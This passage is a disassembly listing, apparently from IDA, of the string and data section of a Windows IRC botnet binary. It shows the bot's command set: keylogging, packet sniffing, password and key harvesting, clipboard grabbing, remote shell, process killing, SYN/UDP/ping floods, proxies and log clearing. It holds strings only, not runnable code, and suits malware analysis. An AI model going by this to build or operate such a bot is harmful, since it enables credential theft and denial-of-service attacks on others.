aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aCom_keylog	db 'com.keylog',0       ; DATA XREF: sub_40EE72+1E5Do
		align 4
unk_437A74	db    2			; DATA XREF: sub_40EE72:loc_410CC5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_437AAC	db    2			; DATA XREF: sub_40EE72+1E49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40EE72+1E26o
					; sub_40EE72+1E94o
unk_437AF8	db    2			; DATA XREF: sub_40EE72+1E1Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_27	db 'Failed to start sniffer thread, error: <%d>.',0
		align 4
unk_437B44	db    2			; DATA XREF: sub_40EE72+1DACo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 4
unk_437B84	db    2			; DATA XREF: sub_40EE72+1D45o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_40EE72+1D25o
					; sub_40EE72+1E72o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40EE72+1D10o
		align 10h
aCom_rf		db 'com.rf',0           ; DATA XREF: sub_40EE72+1CF9o
		align 4
aCom_readfile	db 'com.readfile',0     ; DATA XREF: sub_40EE72+1CE2o
		align 4
aCom_cm		db 'com.cm',0           ; DATA XREF: sub_40EE72+1CCBo
		align 10h
aCom_cmd	db 'com.cmd',0          ; DATA XREF: sub_40EE72+1CB4o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40EE72+1C86o
					; sub_40EE72+1C9Do
		align 4
aIrc_v		db 'irc.v',0            ; DATA XREF: sub_40EE72+1C6Fo
		align 4
aIrc_visit	db 'irc.visit',0        ; DATA XREF: sub_40EE72+1C58o
		align 4
aCom_fl		db 'com.fl',0           ; DATA XREF: sub_40EE72+1C41o
		align 10h
aCom_filelist	db 'com.filelist',0     ; DATA XREF: sub_40EE72+1C2Ao
		align 10h
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40EE72+1C13o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40EE72+1BFCo
aCom_del	db 'com.del',0          ; DATA XREF: sub_40EE72+1BE5o
aCom_delete	db 'com.delete',0       ; DATA XREF: sub_40EE72+1BCEo
		align 4
aCom_pkid	db 'com.pkid',0         ; DATA XREF: sub_40EE72+1BB7o
		align 10h
aCom_prockillid	db 'com.prockillid',0   ; DATA XREF: sub_40EE72+1BA0o
		align 10h
aCom_kpn	db 'com.kpn',0          ; DATA XREF: sub_40EE72+1B89o
aCom_killprocna	db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o
		align 4
aIrc_dn		db 'irc.dn',0           ; DATA XREF: sub_40EE72+1B5Bo
		align 4
aIrc_dns	db 'irc.dns',0          ; DATA XREF: sub_40EE72+1B44o
aIrc_se		db 'irc.se',0           ; DATA XREF: sub_40EE72+1B2Do
		align 4
aIrc_setserve	db 'irc.setserve',0     ; DATA XREF: sub_40EE72+1B16o
		align 4
aCom_o		db 'com.o',0            ; DATA XREF: sub_40EE72+1AFFo
		align 4
aCom_open	db 'com.open',0         ; DATA XREF: sub_40EE72+1AE8o
		align 4
aIrc_pr		db 'irc.pr',0           ; DATA XREF: sub_40EE72+1AD1o
		align 10h
aIrc_prefix	db 'irc.prefix',0       ; DATA XREF: sub_40EE72+1ABAo
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40EE72+1AA3o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40EE72+1A8Co
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40EE72+1A75o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40EE72+1A5Eo
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40EE72+1A47o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40EE72+1A30o
		align 4
aIrc_ra		db 'irc.ra',0           ; DATA XREF: sub_40EE72+1A19o
		align 10h
aIrc_raw	db 'irc.raw',0          ; DATA XREF: sub_40EE72+1A02o
aIrc_pt		db 'irc.pt',0           ; DATA XREF: sub_40EE72+19EBo
		align 10h
aIrc_part	db 'irc.part',0         ; DATA XREF: sub_40EE72+19D4o
		align 4
aIrc_j		db 'irc.j',0            ; DATA XREF: sub_40EE72+19BDo
		align 4
aIrc_join	db 'irc.join',0         ; DATA XREF: sub_40EE72+19A6o
		align 10h
aIrc_n		db 'irc.n',0            ; DATA XREF: sub_40EE72+198Fo
		align 4
aIrc_nick	db 'irc.nick',0         ; DATA XREF: sub_40EE72+1978o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_40EE72+1952o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_40EE72+193Do
aCom_fp		db 'com.fp',0           ; DATA XREF: sub_40EE72+1928o
		align 4
aCom_findpass	db 'com.findpass',0     ; DATA XREF: sub_40EE72+1913o
		align 4
aDaemon_tf_on	db 'daemon.tf.on',0     ; DATA XREF: sub_40EE72+18FEo
		align 4
aDaemon_tftp_on	db 'daemon.tftp.on',0   ; DATA XREF: sub_40EE72+18E9o
		align 4
aDaemon_web_on	db 'daemon.web.on',0    ; DATA XREF: sub_40EE72+18D4o
		align 4
aDaemon_httpd_o	db 'daemon.httpd.on',0  ; DATA XREF: sub_40EE72+18BFo
aDaemon_rl_on	db 'daemon.rl.on',0     ; DATA XREF: sub_40EE72+18AAo
		align 4
aDaemon_rlogi_0	db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o
		align 4
aRoot_cip	db 'root.cip',0         ; DATA XREF: sub_40EE72+1880o
		align 4
aRoot_currentip	db 'root.currentip',0   ; DATA XREF: sub_40EE72+186Bo
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40EE72+1856o
		align 10h
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40EE72+1841o
		align 10h
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40EE72+182Co
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40EE72+1817o
		align 4
aCom_gc		db 'com.gc',0           ; DATA XREF: sub_40EE72+1802o
		align 4
aCom_getclip	db 'com.getclip',0      ; DATA XREF: sub_40EE72+17EDo
dword_437E50	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+17DDo
		dd 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_40EE72+17A9o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40EE72+179Co
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40EE72+177Ao
		align 10h
aIrc_who	db 'irc.who',0          ; DATA XREF: sub_40EE72+1761o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40EE72+1756o
		align 10h
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40EE72+1751o
		align 10h
aCom_ocmd_off	db 'com.ocmd.off',0     ; DATA XREF: sub_40EE72+1738o
		align 10h
aCom_ocmd	db 'com.ocmd',0         ; DATA XREF: sub_40EE72+1723o
		align 4
aCom_opencmd	db 'com.opencmd',0      ; DATA XREF: sub_40EE72+170Eo
aCom_dll	db 'com.dll',0          ; DATA XREF: sub_40EE72+16F9o
aCom_testdlls	db 'com.testdlls',0     ; DATA XREF: sub_40EE72+16E4o
		align 10h
aCom_drv	db 'com.drv',0          ; DATA XREF: sub_40EE72+16CFo
aCom_driveinfo	db 'com.driveinfo',0    ; DATA XREF: sub_40EE72+16BAo
		align 4
aCom_up		db 'com.up',0           ; DATA XREF: sub_40EE72+16A5o
		align 10h
aCom_uptime	db 'com.uptime',0       ; DATA XREF: sub_40EE72+1690o
		align 4
aCom_key	db 'com.key',0          ; DATA XREF: sub_40EE72+167Bo
aCom_harvest	db 'com.harvest',0      ; DATA XREF: sub_40EE72+1666o
aCom_ps		db 'com.ps',0           ; DATA XREF: sub_40EE72+1651o
		align 4
aCom_procs	db 'com.procs',0        ; DATA XREF: sub_40EE72+163Co
		align 4
aIrc_rm0	db 'irc.rm0',0          ; DATA XREF: sub_40EE72+1627o
aIrc_rem0ve	db 'irc.rem0ve',0       ; DATA XREF: sub_40EE72+1612o
		align 4
aCom_si		db 'com.si',0           ; DATA XREF: sub_40EE72+15FDo
		align 10h
aCom_sysinfo	db 'com.sysinfo',0      ; DATA XREF: sub_40EE72+15E8o
unk_437F7C	db    2			; DATA XREF: sub_40EE72+15DDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_28	db ' Failed to start flood thread, error: <%d>.',0
		align 4
unk_437FC8	db    2			; DATA XREF: sub_40EE72+156Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSFo_1	db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn	db 'ddos.supersyn',0    ; DATA XREF: sub_40EE72+14D8o
		align 4
aCom_ni		db 'com.ni',0           ; DATA XREF: sub_40EE72+14C3o
		align 10h
aCom_netinfo	db 'com.netinfo',0      ; DATA XREF: sub_40EE72+14AEo
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40EE72+1499o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40EE72+1484o
		align 4
aIrc_lg		db 'irc.lg',0           ; DATA XREF: sub_40EE72+146Fo
		align 10h
aIrc_log	db 'irc.log',0          ; DATA XREF: sub_40EE72+145Ao
aIrc_al		db 'irc.al',0           ; DATA XREF: sub_40EE72+1445o
		align 10h
aIrc_aliases	db 'irc.aliases',0      ; DATA XREF: sub_40EE72+1430o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40EE72+141Bo
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40EE72+1406o
		align 4
dword_438088	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13D2o
		dd 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_4380BC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13CBo
		dd 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aCom_rebewt	db 'com.rebewt',0       ; DATA XREF: sub_40EE72+13B4o
		align 4
aIrc_i		db 'irc.i',0            ; DATA XREF: sub_40EE72+139Fo
		align 4
aIrc_id		db 'irc.id',0           ; DATA XREF: sub_40EE72+138Ao
		align 4
aIrc_s		db 'irc.s',0            ; DATA XREF: sub_40EE72+1375o
		align 4
aIrc_status	db 'irc.status',0       ; DATA XREF: sub_40EE72+1360o
		align 4
aIrc_q		db 'irc.q',0            ; DATA XREF: sub_40EE72+134Bo
		align 10h
aIrc_quit	db 'irc.quit',0         ; DATA XREF: sub_40EE72+1336o
		align 4
aIrc_d		db 'irc.d',0            ; DATA XREF: sub_40EE72+1321o
		align 4
aIrc_disconnect	db 'irc.disconnect',0   ; DATA XREF: sub_40EE72+130Co
		align 4
aIrc_r		db 'irc.r',0            ; DATA XREF: sub_40EE72+12F7o
		align 4
aIrc_reconnect	db 'irc.reconnect',0    ; DATA XREF: sub_40EE72+12E2o
		align 4
aRoot_st	db 'root.st',0          ; DATA XREF: sub_40EE72+12CDo
aRoot_stats	db 'root.stats',0       ; DATA XREF: sub_40EE72+12B8o
		align 10h
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40EE72+12ADo
		align 10h
aScan		db 'Scan',0             ; DATA XREF: sub_40EE72+12A8o
		align 4
aRoot_stop	db 'root.stop',0        ; DATA XREF: sub_40EE72+128Fo
		align 4
dword_438194	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: sub_40EE72+1284o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40EE72+127Fo
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40EE72+1266o
		align 4
dword_4381BC	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: sub_40EE72+125Bo
aClone		db 'Clone',0            ; DATA XREF: sub_40EE72+1256o
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40EE72+123Do
		align 10h
aCom_ps_off	db 'com.ps.off',0       ; DATA XREF: sub_40EE72+1228o
		align 4
aCom_procs_off	db 'com.procs.off',0    ; DATA XREF: sub_40EE72+1213o
		align 4
aUtil_ff_off	db 'util.ff.off',0      ; DATA XREF: sub_40EE72+11FEo
aUtil_findfile_	db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o
		align 4
dword_43821C	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+11DEo
aDaemon_tftp_of	db 'daemon.tftp.off',0  ; DATA XREF: sub_40EE72+11C0o
dword_438238	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o
dword_438244	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o
dword_438250	dd 736F6464h, 6E69702Eh, 666F2E67h, 66h	; DATA XREF: sub_40EE72+1197o
dword_438260	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co
dword_43826C	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o
dword_438278	dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+116Eo
dword_438288	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o
dword_438294	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo
dword_4382A0	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+1145o
dword_4382B0	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao
dword_4382BC	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o
dword_4382C8	dd 736F6464h, 66666F2Eh, 0 ; DATA XREF:	sub_40EE72+111Co
dword_4382D4	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o
dword_4382E4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_40EE72+110Co
aProxy_redirect	db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o
		align 4
dword_438308	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o
dword_438314	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40EE72+10E3o
dword_438320	dd 2E676F6Ch, 66666Fh	; DATA XREF: sub_40EE72+10CAo
dword_438328	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+10C2o
dword_438334	dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o
dword_438344	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: sub_40EE72+109Co
aDaemon_rlogin_	db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo
		align 4
dword_438368	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: sub_40EE72+105Co
aServer		db 'Server',0           ; DATA XREF: sub_40EE72+1057o
					; sub_40EE72+1097o ...
		align 10h
aProxy_socks4_0	db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo
		align 4
aProxy_s4_on	db 'proxy.s4.on',0      ; DATA XREF: sub_40EE72+1029o
aProxy_socks4_o	db 'proxy.socks4.on',0  ; DATA XREF: sub_40EE72+1014o
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40EE72+FFFo
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40EE72+FEAo
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40EE72+FD5o
		align 10h
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40EE72+FC0o
aVer		db 'ver',0              ; DATA XREF: sub_40EE72+FABo
aIrc_version	db 'irc.version',0      ; DATA XREF: sub_40EE72+F96o
aLo		db 'lo',0               ; DATA XREF: sub_40EE72+F81o
		align 10h
aIrc_logout	db 'irc.logout',0       ; DATA XREF: sub_40EE72+F6Co
		align 4
aIrc_di		db 'irc.di',0           ; DATA XREF: sub_40EE72+F57o
		align 4
aIrc_die	db 'irc.die',0          ; DATA XREF: sub_40EE72+F42o
aRn		db 'rn',0               ; DATA XREF: sub_40EE72+F2Do
		align 10h
aIrc_rndnick	db 'irc.rndnick',0      ; DATA XREF: sub_40EE72+F15o
a63		db '63',0               ; DATA XREF: sub_40EE72+DEEo
		align 10h
asc_438420:				; DATA XREF: sub_40EE72+DC6o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40EE72+D89o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_40EE72+D7Eo
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40EE72+D6Do
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_40EE72+D51o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_40EE72+D40o
		align 10h
aMe_0		db '$me',0              ; DATA XREF: sub_40EE72+D2Eo
aD		db '$%d',0              ; DATA XREF: sub_40EE72+CC0o
aD_0		db '$%d-',0             ; DATA XREF: sub_40EE72+C05o
		align 10h
aC_0:					; DATA XREF: sub_40EE72+B19o
		unicode	0, <c>,0
dword_438464	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AE4o
		dd 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_4384A4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AD6o
		dd 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 4
dword_4384E4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AC8o
		dd 2BBBB02h
aFailedToSta_29	db '  Failed to start chat thread, error: <%d>.',0
dword_438528	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+A59o
		dd 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40EE72+9BFo
		align 10h
dword_438560	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+99Co
		dd 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_4385B0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+984o
					; sub_40EE72+4ABCo
		dd 2BBBB02h
aFailedToSta_30	db '  Failed to start transfer thread, error: <%d>.',0
dword_4385F8	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40EE72+973o
		dd 0A0Dh
dword_438610	dd 4E495001h, 47h	; DATA XREF: sub_40EE72+93Fo
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o
		align 4
dword_438634	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40EE72+8DCo
		dd 0D017325h, 0Ah
dword_438650	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40EE72+8ABo
dword_43865C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+791o
		dd 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40EE72+6E8o
		align 10h
dword_4386A0	dd 43434401h, 0		; DATA XREF: sub_40EE72+6CAo
dword_4386A8	dd 323333h		; DATA XREF: sub_40EE72+651o
					; sub_40EE72+B4Fo ...
dword_4386AC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D2o
		dd 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_4386DC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5ABo
		dd 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40EE72+574o
aPart		db 'PART',0             ; DATA XREF: sub_40EE72+526o
					; sub_40EE72+5EFo
		align 4
aSS_0		db ':%s%s',0            ; DATA XREF: sub_40EE72+4FEo
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_40EE72+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o
					; sub_40EE72+613o
dword_438738	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+355o
					; sub_40EE72+5FF2o ...
		dd 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40EE72+2E4o
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+28Do
					; sub_40EE72+4EB5o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40EE72+262o
a@:					; DATA XREF: sub_40EE72+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40EE72+22Ao
a005		db '005',0              ; DATA XREF: sub_40EE72+215o
a001		db '001',0              ; DATA XREF: sub_40EE72+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o
					; sub_40EE72+3B7o ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40EE72+1A9o
		align 4
asc_4387B4:				; DATA XREF: sub_40EE72+19Ao
					; sub_40EE72+60F9o
		unicode	0, <!>,0
asc_4387B8	db ' :',0               ; DATA XREF: sub_40EE72+86o
					; sub_40EE72:loc_40FA19o
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_415188+120o
		align 4
unk_4387C8	db    2			; DATA XREF: sub_415339:loc_4153C0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessListFai	db 'Process list failed.',0
		align 10h
unk_438800	db    2			; DATA XREF: sub_415339+80o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessListCom	db 'Process list completed.',0
unk_438838	db    2			; DATA XREF: sub_415339+19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aListingProcess	db 'Listing processes:',0
		align 4
dword_43886C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415667o
		dd 2029671Fh, 2BBBB02h
aUserLoggedOutS	db '  User logged out: <%s@%s>.',0
dword_4388A4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415640o
		dd 2029671Fh, 2BBBB02h
aErrorSessionru	db '  Error: SessionRun(): <%d>.',0
		align 10h
dword_4388E0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415620o
		dd 2029671Fh, 2BBBB02h
aUserLoggedInS@	db '  User logged in: <%s@%s>.',0
		align 4
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F0o
		align 4
dword_43892C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:0041555Fo
		dd 2029671Fh, 2BBBB02h
aErrorGetpeerna	db '  Error: getpeername(): <%d>.',0
		align 4
dword_438968	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_415683:loc_4156C8o
		dd 2029671Fh, 2BBBB02h
aProtocolString	db '  Protocol string too long.',0
dword_4389A0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156DD+1Bo
		dd 2029671Fh, 2BBBB02h,	6F4C2020h, 206E6967h, 656A6572h
		dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h
		dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h
		dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h
		dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h
		dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh
		dd 2BBBB02h, 61462020h,	64656C69h, 206F7420h, 72617473h
		dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h
		dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h
		dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h
		dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h
		dd 61657268h, 25203A64h, 2E64h,	7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h
		dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h
		dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h
		dd 2Eh,	7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	61462020h, 64656C69h, 206F7420h
		dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h
		dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h
		dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	72452020h, 3A726F72h, 41535720h
